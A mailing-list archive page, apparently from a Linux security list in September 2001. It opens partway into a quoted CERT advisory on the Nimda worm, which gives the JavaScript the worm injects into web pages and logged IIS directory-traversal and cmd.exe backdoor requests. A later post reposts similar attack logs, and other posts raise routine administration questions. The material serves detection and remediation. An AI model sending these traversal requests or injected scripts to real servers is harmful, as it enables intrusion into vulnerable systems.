first > octet will be > chosen > > * 25% of the time, a random address will be chosen > > The infected client machine transfers a copy of the Nimda > code to any > server that it scans and finds to be vulnerable. Once > running on the > server machine, the worm traverses each directory > in the system > (including all those accessible through a file shares) > and write a > copy of itself to disk using the name "README.EML". When > a directory > containing web content (e.g., HTML or ASP files) > is found, the > following snippet of Javascript code is appended to every > one of these > web-related files: > > <script language="JavaScript"> > window.open("readme.eml", null, "resizable=no,top=6000,left=6000") > </script> > > This modification of web content allows further > propagation of the > worm to new clients through a browser or browsing of a > network file > system. > > Browser Propagation > > As part of the infection process, the Nimda worm > modifies all web > content files it finds (including, but not limited > to, files with > .htm, .html, and .asp extensions). As a result, any user > browsing web > content on the system, whether via the file system > or via a web > server, may download a copy of the worm. Some > browsers may > automatically execute the downloaded copy, thereby > infecting the > browsing system. > > File System Propagation > > The Nimda worm creates numerous copies of itself > (using the name > README.EML) in all writable directories (including > those found on a > network share) to which the user has access. If a > user on another > system subsequently selects the copy of the worm file > on the shared > network drive in Windows Explorer with the preview option > enabled, the > worm may be able to compromise that system. > > System FootPrint > > The scanning activity of the Nimda worm produces the > following log > entries for any web server listing on port 80/tcp: > > GET /scripts/root.exe?/c+dir > GET /MSADC/root.exe?/c+dir > GET /c/winnt/system32/cmd.exe?/c+dir > GET /d/winnt/system32/cmd.exe?/c+dir > GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir > GET /_vti_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir > GET /_mem_bin/..%5c../..%5c../..%5c../winnt/system32/cmd.exe?/c+dir > GET > /msadc/..%5c../..%5c../..%5c/..\xc1\x1c../..\xc1\x1c../..\xc1\ x1c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc1\x1c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc0/../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc0\xaf../winnt/system32/cmd.exe?/c+dir > GET /scripts/..\xc1\x9c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%35c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%5c../winnt/system32/cmd.exe?/c+dir > GET /scripts/..%2f../winnt/system32/cmd.exe?/c+dir > > Note: The first four entries in these sample logs denote > attempts to > connect to the backdoor left by Code Red II, while the > remaining log > entries are examples of exploit attempts for the > Directory Traversal > vulnerability. > > II. Impact > > Intruders can execute arbitrary commands within the > LocalSystem > security context on machines running the unpatched > versions of IIS. > Host that have been compromised are also at high risk for > being party > to attacks on other Internet sites. > > The high scanning rate of the Nimda worm may also > cause bandwidth > denial-of-service conditions on networks with infected machines. > > III. Solutions > > Recommendations for System Administrators of IIS machines > > To determine if your system has been compromised, > look for the > following: > > * root.exe artifact (indicates a compromise by > Code Red II or > sadmind/IIS worms making the system vulnerable to the > Nimda worm) > > * admin.dll artifact or unexpected .eml files in the > directories > with web content (indicates compromise by the Nimda worm) > > The only safe way to recover from the system compromise > is to format > the system drive(s) and reinstall the system software > from trusted > media (such as vendor-supplied CD-ROM). Additionally, > after the > software is reinstalled, all vendor-supplied security > patches must be > applied. The recommended time to do this is while the > system is not > connected to any network. However, if sufficient care > is taken to > disable all server network services, then the > patches can be > downloaded from the Internet. > > Detailed instructions for recovering your system can be > found in the > CERT/CC tech tip: > > Steps for Recovering from a UNIX or NT System Compromise > > http://www.cert.org/tech_tips/win-UNIX-system_compromise.html > > Apply the appropriate patch from your vendor > > A cumulative patch which addresses all of the > IIS-related > vulnerabilities exploited by the Nimda worm is > available from > Microsoft at > > > http://www.microsoft.com/technet/security/bulletin/MS01-044.asp > > Recommendations for End User Systems > > Apply the appropriate patch from your vendor > > If you are running a vulnerable version of Internet > Explorer (IE), the > CERT/CC recommends applying patch for the "Automatic > Execution of > Embedded MIME Types" vulnerability available from Microsoft at > > > http://www.microsoft.com/technet/security/bulletin/MS01-020.asp > > Run and Maintain an Anti-Virus Product > > It is important for users to update their anti-virus > software. Most > anti-virus software vendors have released updated > information, tools, > or virus databases to help detect and partially > recover from this > malicious code. A list of vendor-specific anti-virus > information can > be found in Appendix A. > > Many anti-virus packages support automatic > updates of virus > definitions. We recommend using these automatic > updates when > available. > > Don't open e-mail attachments > > The Nimda worm may arrive as an email attachment named > "readme.exe". > Users should not open this attachment. > > Disable JavaScript End-user systems can become > infected with the > Nimda worm by browsing web sites hosted by infected > servers. This > method of infection requires the use of JavaScript to be > successful. > Therefore, the CERT/CC recommends that end user > systems disable > JavaScript. > > Appendix A. Vendor Information > > Antivirus Vendor Information > > Central Command, Inc. > > > http://support.centralcommand.com/cgi-bin/command.cfg/php/endus > er/std_adp.php?p_refno=010918-000005 > > Command Software Systems > > http://www.commandsoftware.com/virus/nimda.html > > Data Fellows Corp > > http://www.datafellows.com/v-descs/nimda.shtml > > McAfee > > http://vil.mcafee.com/dispVirus.asp?virus_k=99209& > > Sophos > > http://www.sophos.com/virusinfo/analyses/w32nimdaa.html > > Symantec > > > http://www.symantec.com/avcenter/venc/data/w32.nimda.a@mm.html > > Trend Micro > > > http://www.antivirus.com/vinfo/virusencyclo/default5.asp?VName= > TROJ_NIMDA.A > > > http://www.antivirus.com/pc-cillin/vinfo/virusencyclo/default5. > asp?VName=TROJ_NIMDA.A > > You may wish to visit the CERT/CC's computer virus > resources page > located at > > http://www.cert.org/other_sources/viruses.html > > References > > Authors: Roman Danyliw, Chad Dougherty, Allen > Householder, Robin > Ruefle > > ______________________________________________________________________ > > This document is available from: > http://www.cert.org/body/advisories/CA200126_FA200126.html > > ______________________________________________________________________ > > CERT/CC Contact Information > > Email: cert(a)cert.org > Phone: +1 412-268-7090 (24-hour hotline) > Fax: +1 412-268-6989 > Postal address: > CERT Coordination Center > Software Engineering Institute > Carnegie Mellon University > Pittsburgh PA 15213-3890 > U.S.A. > > CERT personnel answer the hotline 08:00-20:00 EST(GMT-5) > / EDT(GMT-4) > Monday through Friday; they are on call for emergencies > during other > hours, on U.S. holidays, and on weekends. > > Using encryption > > We strongly urge you to encrypt sensitive information > sent by email. > Our public PGP key is available from > > http://www.cert.org/CERT_PGP.key > > If you prefer to use DES, please call the CERT > hotline for more > information. > > Getting security information > > CERT publications and other security information are > available from > our web site > > http://www.cert.org/ > > To be added to our mailing list for advisories and > bulletins, send > email to cert-advisory-request(a)cert.org and > include SUBSCRIBE > your-email-address in the subject of your message. > > * "CERT" and "CERT Coordination Center" are registered > in the U.S. > Patent and Trademark Office. > > ______________________________________________________________________ > > NO WARRANTY > Any material furnished by Carnegie Mellon University and > the Software > Engineering Institute is furnished on an "as is" > basis. Carnegie > Mellon University makes no warranties of any kind, either > expressed or > implied as to any matter including, but not limited to, > warranty of > fitness for a particular purpose or merchantability, > exclusivity or > results obtained from use of the material. Carnegie > Mellon University > does not make any warranty of any kind with respect to > freedom from > patent, trademark, or copyright infringement. > _________________________________________________________________ > > Conditions for use, disclaimers, and sponsorship information > > Copyright 2001 Carnegie Mellon University. > > Revision History > > September 18, 2001: Initial Release > > > > > > > -----BEGIN PGP SIGNATURE----- > Version: PGPfreeware 5.0i for non-commercial use > Charset: noconv > > iQCVAwUBO6fYPgYcfu8gsZJZAQEG4QQAoblNKbAX/bVmJBdXy2Juf9OsMZeO2bR5 > UW6hi7ddDkdUNBe52du2wU+n34tSjzA3c+0g9tYwKSXFeOp+m/CCLeYEXR+VTTel > RAmY1tOzDfMIDxD6+GrvfajYMz4pCGoSJgIdPGKxJm0Tnf6iv4akaYSAB4BPRw7A > FVp6JcCbatg= > =FizN > -----END PGP SIGNATURE----- >

1 0

automatic backups over ssh/scp
by Lukas Feiler 19 Sep '01

19 Sep '01

I want to do the following: backup all my sensitive date from my main server, pack it into one file and then get it transfered to my backup server. That's fine but my problem is that those two machines aren't in the same local network. So if I do not encrypt my data it would be (more or less) visible to everybody on the net (who has some hacking knowledge). But as I said this data is sensible (passwords, creditcards, ...)! So I thought of ssh or scp BUT how to automate this process of backing up? I would have to specify user AND password in my backup-script. How do specify a password for ssh / scp in a script?? Plese Help! Luke

14 30

SuSE firewall ipchain
by James McBoyle 19 Sep '01

19 Sep '01

Hi all, So that I can masquerade my home network and have it use my modem I've turn on the firewall that comes as standard with SuSE 7.0. The masqing works well and it was nice and easy to set up via YAST, but when it's on the rule set won't allow kmail to talk to my mail server, which I get to via the modem. I was thinking of doing something like 'ipchains -a ALLOW smtp mymachine' (better than adding allow smtp all, or allow all all (-: ) But wanted to make sure I was doing the correct thing to allow mail through (the fine manual is good, but had nothing specific) Is this correct, or is there a better way of allowing mail through an ipchains firewall? Many thanks for your time. Have Fun, Jim. -- James McBoyle /"\ james.mcboyle(a)sun.com \ / ASCII Ribbon Campaign Software Engineer X Against HTML Mail Integrated Software QED / \

1 0

nmap options
by Jesse yep 19 Sep '01

19 Sep '01

If all my ports are closed and someone does an 'nmap -sU -sT' scan on me and shows unfiltered ports. Could it be true, or is it just a false output? I heard somewhere that doing both of those options maybe give you false output, so im asking here ;) __________________________________________________ Terrorist Attacks on U.S. - How can you help? Donate cash, emergency relief information http://dailynews.yahoo.com/fc/US/Emergency_Information/

2 1

freeswan and suse 7.2
by Andreas Wahlert 18 Sep '01

18 Sep '01

Hi List, i attempt to run a freeswan ipsec for w2k Workstations with suse 7.2. I have no changes to the standart installation of the yast tool (no kernel changes, no changes in the ipsec.conf). At the start of freeswan i have an error number 22. The ipsec interface is up. Must i configure anyone before i start freeswan?? Must i configure the kernel. The doc says no. Thanx for Help Andreas

1 0

Command Logging
by Florian Meyer-Kassel 18 Sep '01

18 Sep '01

Hi all, I'm looking for something like a bash-replacement wich logs all commands with parameters etc a user issues. The bash-history isn't useful, because it can be changed/deleted by the user himself. Can anybody tip me into the right direction ? Thanks !! Mit freundlichen Grüssen Florian Meyer-Kassel --- Combax Aktiengesellschaft Florian Meyer-Kassel Server Administration Max-Eyth-Strasse 35 D-71088 Holzgerlingen T: +49.7031.741015-0 F: +49.7031.741015-99 E: f.meyer-kassel(a)combax.de --- This email and any files transmitted with it are confidential and intended solely for the use of the individual or entity to whom they are addressed. If you have received this email in error please notify the system manager.

9 11

Re: [suse-security] WEB IIS cmd exe requests
by michael.ryan＠storm.ie 18 Sep '01

18 Sep '01

It IS actually a scan for the CodeRed II backdoor See http://www.sarc.com/avcenter/venc/data/codered.ii.html Michael

4 3

RE: [suse-security] WEB IIS cmd exe requests
by Lars Schlimpert 18 Sep '01

18 Sep '01

fortunately i have a linux box with apache ! -:) only nerves logentrys... cu , lars > -----Original Message----- > From: r.maurizzi(a)gvs.it [mailto:r.maurizzi@gvs.it] > > I really hope it's not a worm that try to use the (very widespread now) > vulnerability to install something nastier. > > SuSE/Apache are unaffected, as always. >

3 2

NEW-Worm CODE BLUE
by Johann Steigenberger 18 Sep '01

18 Sep '01

Hi all, the new worm which spreads is not an CODERED, it is CODE BLUE. we reported about this on our Newsletter on 13.th September about this. A Description what it does can be found on our Website at: http://admins.ws/newsletter/20010913.htm (German Language) So it is nothing to panic for you - its only dangerous for unpatched Windows Boxes :-) Best Regards Johann Steigenberger ----------------------------------------------------------- Admins WebSecurity - who wants to hack your System today ? find it out, visit our website at http://www.admins.ws ----------------------------------------------------------- Bestellen auch Sie unseren kostenlosen Security-Newsletter. Sie werden dann über neue Gefahren informiert, bevor Ihnen oder Ihrer Firma ein Schaden entstehen kann !!! Senden Sie einfach eine E-Mail mit dem Betreff: SUBSCRIBE an: newsletter(a)admins.ws -----------------------------------------------------------

1 0

display
by jdd 18 Sep '01

18 Sep '01

I would like to be able to keep an eye on my internet traffic with xisdnload, but I don't care to let an open root terminal on my desk. how can I display such a window as a screen saver, for example? thanks jdd -- <http://www.dodin.net> <mailto:jdanield@dodin.net> WHO'S THAT GUY ? Help me found it Russia & South america help needed http://www.dodin.net/serge/index.html

2 2

Info: New Worm (was: WEB IIS cmd exe requests)
by Sven Michels 18 Sep '01

18 Sep '01

Quoting http://slashdot.org/ _ A new worm seems to be running around. Unlike Code Red, it attempts to hit boxes with many different requests (including what looks like an attempt to exploit boxes still rooted by Code Red). It looks like each IP is hitting 16 times. I had 20 different boxes each hit me 16 times, and I'm not alone. There is also a new mail worm mailing WAV files or something with bits of what appears to be the registry... it may or may not be related. Got any words on this? Shut down those windows boxes folks. And stop opening executable attachments. Oh, make that 21. Got another one while writing this story. I'm calling it 208 for now because all my hits are coming from 208.n.n.n (where I am) I'm sure it'll keep moving. _ have fun :/ -- intraDAT AG http://www.intradat.com Wilhelm-Leuschner-Strasse 7 Tel: +49 69-25629-0 D - 60329 Frankfurt am Main Fax: +49 69-25629-256

2 2

SuSEfirewall2 assistance
by Anthony Hogbin 18 Sep '01

18 Sep '01

Hello I have been working on a solution to a firewall I have been asked to build now for a week, and I have learnt a lot, but am repeatedly running into the fact I am doing something fundementally wrong. 217.34.xxx.high_end DSL ROUTER | | Firewall2 -----------------------217.34.xxx.low_end (Named/SQUID) | EXHCANGE Server | | | |-----------217.34.xxx.low_end | Backup Server | DHCP LAN Since I did not get to call the shots on the setup of their network the LAN needs to be able to see the services on the DMZ machines. and the DHCP machines need to be masqueraded to the outside world. Through change after change I have managed to get the initial issue solved (subnetting correctly so it knows where the lower and higher IP's are - Doh!). My boss is pushing for another solution - but I am confident I can solve it with this - although I am not producing the goods. If anyone has a similar configuration, or is willing to offer me some wise words - then please contact me directly. Many thanks AH -- For your amusement... # 2.) FW_DEV_EXT="eth0" # 3.) FW_DEV_INT="eth2" # 4.) FW_DEV_DMZ="eth1" # 5.) FW_ROUTE="yes" # 6.) FW_MASQUERADE="yes" FW_MASQ_DEV="$FW_DEV_EXT" FW_MASQ_NETS="$INT_LAN_RANGE,0/0,tcp,20 $INT_LAN_RANGE,0/0,tcp,21 $INT_LAN_RANGE,0/0,tcp,22 $INT_LAN_RANGE,0/0,tcp,23 $INT_LAN_RANGE,0/0,tcp,25 $INT_LAN_RANGE,0/0,tcp,37 $INT_LAN_RANGE,0/0,udp,37 $INT_LAN_RANGE,0/0,udp,43 $INT_LAN_RANGE,0/0,udp,53 $INT_LAN_RANGE,0/0,tcp,53 $INT_LAN_RANGE,0/0,tcp,80 $INT_LAN_RANGE,0/0,tcp,110 $INT_LAN_RANGE,0/0,tcp,113 $INT_LAN_RANGE,0/0,tcp,123 $INT_LAN_RANGE,0/0,udp,123 $INT_LAN_RANGE,0/0,tcp,143 $INT_LAN_RANGE,0/0,tcp,443 $INT_LAN_RANGE,0/0,tcp,554 $INT_LAN_RANGE,0/0,tcp,993 $INT_LAN_RANGE,0/0,tcp,1863 $INT_LAN_RANGE,0/0,tcp,2401 $INT_LAN_RANGE,0/0,tcp,5800 $INT_LAN_RANGE,0/0,tcp,5900 $INT_LAN_RANGE,0/0,tcp,6800:6900 $INT_LAN_RANGE,0/0,udp,6800:6900 $INT_LAN_RANGE,0/0,tcp,6901 $INT_LAN_RANGE,0/0,udp,6901 $INT_LAN_RANGE,0/0,tcp,6970:7170 $INT_LAN_RANGE,0/0,tcp,7070" # 7.) FW_PROTECT_FROM_INTERNAL="yes" # 8.) FW_AUTOPROTECT_SERVICES="yes" # 9.) FW_SERVICES_EXT_TCP="" FW_SERVICES_EXT_UDP="" # Common: domain FW_SERVICES_EXT_IP="" FW_SERVICES_DMZ_TCP="53 3128" FW_SERVICES_DMZ_UDP="53" FW_SERVICES_DMZ_IP="" FW_SERVICES_INT_TCP="23 53 3128" FW_SERVICES_INT_UDP="53" FW_SERVICES_INT_IP="" # 10.) FW_TRUSTED_NETS="$EXT_ZFT_GATE,tcp,22" #SSH/SCP from our gateway # 11.) FW_ALLOW_INCOMING_HIGHPORTS_TCP="yes" FW_ALLOW_INCOMING_HIGHPORTS_UDP="yes" # 12.) FW_SERVICE_AUTODETECT="yes" # Autodetect the services below when starting FW_SERVICE_DNS="yes" FW_SERVICE_DHCLIENT="no" FW_SERVICE_DHCPD="no" FW_SERVICE_SQUID="yes" FW_SERVICE_SAMBA="no" # 13.) FW_FORWARD="$INT_LAN_RANGE,$DMZ_IP_RANGE 0/0,$DMZ_EXCHANGE,tcp,25 0/0,$DMZ_EXCHANGE,tcp,80 0/0,$DMZ_EXCHANGE,tcp,135 0/0,$DMZ_EXCHANGE,tcp,443 0/0,$DMZ_BACKUP,tcp,21 0/0,$DMZ_BACKUP,tcp,20" # 14.) FW_FORWARD_MASQ="" # Beware to use this! # 15.) FW_REDIRECT="" # 16.) FW_LOG_DROP_CRIT="yes" FW_LOG_DROP_ALL="yes" FW_LOG_ACCEPT_CRIT="no" FW_LOG_ACCEPT_ALL="no" FW_LOG="--log-level warning --log-tcp-options --log-ip-option --log-prefix SuSE-FW" # 17.) FW_KERNEL_SECURITY="yes" # 18.) FW_STOP_KEEP_ROUTING_STATE="yes" # 19.) FW_ALLOW_PING_FW="no" FW_ALLOW_PING_DMZ="no" FW_ALLOW_PING_EXT="yes -- a n t h o n y h o g b i n -----------------------------------------------------

2 1

Re: [suse-security] WEB IIS cmd exe requests
by Michael Fulk 18 Sep '01

18 Sep '01

I started picking these up at about 9:15 CST, looks like someone is trying to exploit the Code Red II backdoor. 9/18/01 9:22:24 AM, Togan Muftuoglu <toganm(a)users.sourceforge.net> wrote: > >Hi, > >I thought Code RED was slowing down :-( Other then getting the regular >GET "default.ida" requests I have been logging things like this for the >last two hours from different IP's. > >1) Anyone else getting similar things or is me ? >2) Is it worth to bother sending these logs to the provider of the ip's ? > >TIA > >Sep 18 16:50:26 gardiyan snort: WEB-IIS cmd.exe access [Classification: Attempted User Privilege Gain Priority: 8]: 212.209.96.133:3317 -> 212.174.50.248:80 >Sep 18 16:50:26 gardiyan snort: WEB-IIS cmd.exe access [Classification: Attempted User Privilege Gain Priority: 8]: 212.209.96.133:3317 -> 212.174.50.248:80 >Sep 18 16:50:39 gardiyan last message repeated 3 times > > >::ffff:212.209.96.133%134580160 - - [18/Sep/2001:16:50:12 +0300] "GET /scripts/root.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:13 +0300] "GET /MSADC/root.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:14 +0300] "GET /c/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:15 +0300] "GET /d/winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:16 +0300] "GET /scripts/..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:16 +0300] "GET /_vti_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:17 +0300] "GET /_mem_bin/..%255c../..%255c../..%255c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:18 +0300] "GET /msadc/..%255c../..%255c../..%255c/..%c1%1c../..%c1%1c../..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:18 +0300] "GET /scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:19 +0300] "GET /scripts/..%c0%2f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:20 +0300] "GET /scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:24 +0300] "GET /scripts/..%c1%9c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:24 +0300] "GET /scripts/..%%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:25 +0300] "GET /scripts/..%%35c../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:26 +0300] "GET /scripts/..%25%35%63../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" >::ffff:212.209.96.133%134595336 - - [18/Sep/2001:16:50:26 +0300] "GET /scripts/..%252f../winnt/system32/cmd.exe?/c+dir HTTP/1.0" 404 - "" "" > >-- >Togan Muftuoglu > > >-- >To unsubscribe, e-mail: suse-security-unsubscribe(a)suse.com >For additional commands, e-mail: suse-security-help(a)suse.com > >

1 0

sort files by week
by spiekey 18 Sep '01

18 Sep '01

Hello! is it possible to sort my log files (one ech day) by week? So that a wekly cronjob finds all files from the last 7 days and creates a folder with the current date/week and copies the files in there. Maybe someone of u already have such a script, or something similar? THX 4 you time! Spiekey

1 0

SuSE is not logging anymore..
by spiekey 18 Sep '01

18 Sep '01

Hello! what could be the reason that suse won´t write into my /var/log/messages anymore? The last activity was from the 11th of September. Anyone any idea? Thank you, Spiekey

7 7

Deutscher Security Newsletter
by Johann Steigenberger 18 Sep '01

18 Sep '01

Hallo Marion, So einen Newsletter gibt es tatsächlich und kostenlos. Unsere Firma gibt Ihn heraus. Um ihn zu bestellen schicke einfach ein E-Mail mit dem Betreff: SUBSCRIBE an newsletter(a)admins.ws Liebe Grüße Johann Steigenberger =========================================================== Admins WebSecurity - who wants to hack your System today ? Find it out - visit our website at http://www.admins.ws

2 1

turning off ipv6 in Suse 7.2
by Emrah Türker 18 Sep '01

18 Sep '01

hi list, i would like to know how to disable ipv6 on my networkcard on SuSE Linux 7.2 which is activated by default. I got a tip that changing alias net-pf-10 off in the /etc/modules.conf instead of: alias net-pf-10 ipv6 would help, but there is no such entry...maybe anyone could help?

1 1

IPv6 deaktivieren ?
by Emrah Tuerker 17 Sep '01

17 Sep '01

hallo Liste, habe SuSE 7.2 installiert und wenn ich ifconfig aufrufe wird gezeigt das bei meinem Rechner IPv6 aktiviert ist. Da ich das leider nicht gebrauchen kann würde ich IPv6 gerne deaktivieren, hab nur nirgends gefunden wie oder wo? Kann mir jemand Helfen? mfg Emrah Tuerker _______________________________________________________________________ 1.000.000 DM gewinnen - kostenlos tippen - http://millionenklick.web.de IhrName(a)web.de, 8MB Speicher, Verschluesselung - http://freemail.web.de

2 1

Suche deutschsprachige Sicherheits-News
by marion＠deutschmann.net 17 Sep '01

17 Sep '01

Hallo, ich suche deutschprachige Sicherheits-News z.B. eine Mailingliste oder einen Newsletter. Es sollten möglichst alle gängigen Betriebssysteme darin behandelt werden., also Linux, Win2K, Solaris usw. Gibt es sowas ? Wenn ja wo ? Gruß Marion -- Get your firstname@lastname email for FREE at http://Nameplanet.com/?su

1 0

seccheck
by Eric Romang 17 Sep '01

17 Sep '01

Hello, I have install seccheck, but maybe the are some bogus. I have create users with /bin/false shell, to allow them to access only with ftp, and no telnet or ssh. But seccheck, just say's me : Warning: user xxxxx has got a password and a valid shell but never logged in. Ok, the user has a password to access only with ftp, but he had log on with ftp. seccheck don't make the difference between the shells and the ftp or anothers logins ? Regards. Eric Romang - System Administrator eric.romang(a)synapse.lu ---------------------------------------------------------------------------- --------- Site : http://www.synapse.lu Synapse Internet Services 49, Bd. G-D. Charlotte, L-1331 Luxembourg Tel : +352 / 44 79 44 77 Fax : +352 / 44 79 44 79 GSM : +352 / 021 7000 35 ---------------------------------------------------------------------------- ---------

1 0

qmail.rpm
by Ruben Konig 17 Sep '01

17 Sep '01

Hi list, Since configuring sendmail is a pain (to me that is) and since sendmail is known for its security holes, I decided that I want to try qmail. But SuSE doesn't distribute qmail. Does anyone outhere know where to download an RPM that can be trusted and that will fit in with my SuSE 7.1 (2.2) system? I learned to trust SuSE (I know, unwise), but who else can be trusted? Yours, Ruben -- Ruben Konig Communicatiewetenschap Katholieke Universiteit Nijmegen prive email adres r.konig(a)mailbox.kun.nl ruben(a)dromedaris.net

10 12

Re: [suse-security] Was ist das für ein Modul?
by Stefan_Walther＠gehag-dsk.de 16 Sep '01

16 Sep '01

Hi thomas, first I have to mention is that is an english list. The second is, that this module seems do dial with passwords. If you can tell me about the deamon you are using to enter the Internet via DSL, maybe I can tell you something more about this. THX MfG. Stefan Walther stefan_walther(a)gehag-dsk.de dienst.: +4930/89786448 Funk: +49172/3943961 Hallo allerseits, ich habe jetzt (endlich) DSL so leidlich am Laufen und erhalte beim Start in /var/log/messages folgenden Eintrag: Sep 16 19:07:33 nf3500 pppd[22578]: Plugin passwordfd.so loaded. Was ist das für ein Modul? Mit freundlichen Grüßen Thomas

1 0

Was ist das für ein Modul?
by Thomas Ruch 16 Sep '01

16 Sep '01

Hallo allerseits, ich habe jetzt (endlich) DSL so leidlich am Laufen und erhalte beim Start in /var/log/messages folgenden Eintrag: Sep 16 19:07:33 nf3500 pppd[22578]: Plugin passwordfd.so loaded. Was ist das für ein Modul? Mit freundlichen Grüßen Thomas

1 0

passwd hangs with 100% cpu load
by Markus Gaugusch 16 Sep '01

16 Sep '01

I'm running a server with SuSE 7.1 and kernel 2.2.19 (self-made with openwall patch). I have really tight security, and one problem: If used by a normal user, passwd hangs (after successfully changing the password!) with 100% cpu load. It can only be killed by root, ctrl-c does not work, and because of the procfs patch, the user can't see his passwd process (it is running as root, because it is suid). I never had any problems like that, another server with suse 6.3 and openwall patch works fine. If root tells the user the right PID, he can kill -9 the passwd process. strace doesn't work with suid root executables, and as root it works as it should. any hints? thank you Markus -- _____________________________ /"\ Markus Gaugusch ICQ 11374583 \ / ASCII Ribbon Campaign markus(a)gaugusch.dhs.org X Against HTML Mail / \

2 3

qmail.rpm
by Ruben Konig 15 Sep '01

15 Sep '01

Thanks list! Ruben -- Ruben Konig Communicatiewetenschap Katholieke Universiteit Nijmegen prive email adres r.konig(a)mailbox.kun.nl ruben(a)dromedaris.net

1 0